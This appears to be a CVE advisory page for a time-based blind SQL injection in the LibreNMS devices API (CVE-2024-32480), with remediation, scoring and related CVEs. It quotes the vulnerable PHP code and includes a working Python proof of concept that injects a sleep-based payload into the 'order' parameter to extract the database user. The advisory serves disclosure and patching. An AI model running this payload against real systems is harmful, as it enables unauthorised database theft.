CVE-2024-32480 — Vulnerability in librenms/librenms — CVE Details
LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (1.04%). Schedule for your next planned update.
Does your project use an affected librenms/librenms version?
Paste your composer.lock to check it for CVE-2024-32480 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0
Details
in file api_functions.php, line 307 for function list_devices
$order = $request->get('order');
$type = $request->get('type');
$query = $request->get('query');
$param = [];
if (empty($order)) {
$order = 'hostname';
}
if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
$order = 'd.`' . $order . '` ASC';
}
/* ... */
$devices = [];
$dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order";
foreach (dbFetchRows($dev_query, $param) as $device) {
The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.
PoC
For example. this PoC is get current db user
import string
import requests
headers = {
'X-Auth-Token': 'token_string'
}
req = requests.Session()
payloads = '_-@.,' + string.digits + string.ascii_letters
url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'
result = 'user: '
for i in range(10):
for payload in payloads:
try:
req.get(url % (i+1, ord(payload)), headers=headers, timeout=3)
except requests.exceptions.ReadTimeout as ex:
result += payload
print(result),
except Exception as e:
pass
Impact
Attacker can extract whole database
Advisory Timeline
- First published April 22, 2024 (948 days ago).
- Last revised September 10, 2026 — 870 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "librenms/librenms:^24.4.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| librenms/librenms Packagist · Affected: 1.19, 1.20, 1.20.1, 1.21 (+117 more) | 24.4.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-89SQL InjectionMITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.2 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
References
Frequently Asked Questions
- What is CVE-2024-32480?
- LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.2/10).
- How do I check if my project is affected by CVE-2024-32480?
- CVE-2024-32480 affects librenms/librenms. It has a 1.0% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-32480 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is an above-median EPSS score — 63.3% of tracked vulnerabilities score at or below it, putting its exploitation likelihood in the upper half of the tracked corpus.
Also Known As
Related CVEs
- CVE-2026-55182HIGH
LibreNMS Vulnerable to Remote Code Execution by Signal Alert Transportation module
- CVE-2024-32461HIGH
LibreNMS vulnerable to SQL injection time-based leads to database extraction
- CVE-2024-47524HIGH
LibreNMS has Stored Cross-site Scripting vulnerability in "Device Group" Name
- CVE-2026-26992MEDIUM
LibreNMS /port-groups name Stored Cross-Site Scripting
- CVE-2025-23200MEDIUM
LibreNMS Misc Section Stored Cross-site Scripting vulnerability
- CVE-2024-49758MEDIUM
LibreNMS has a stored XSS in ExamplePlugin with Device's Notes
- CVE-2025-68614MEDIUM
LibreNMS Alert Rule API Cross-Site Scripting Vulnerability
- CVE-2025-62411MEDIUM
LibreNMS has a Stored XSS vulnerability in its Alert Transport name field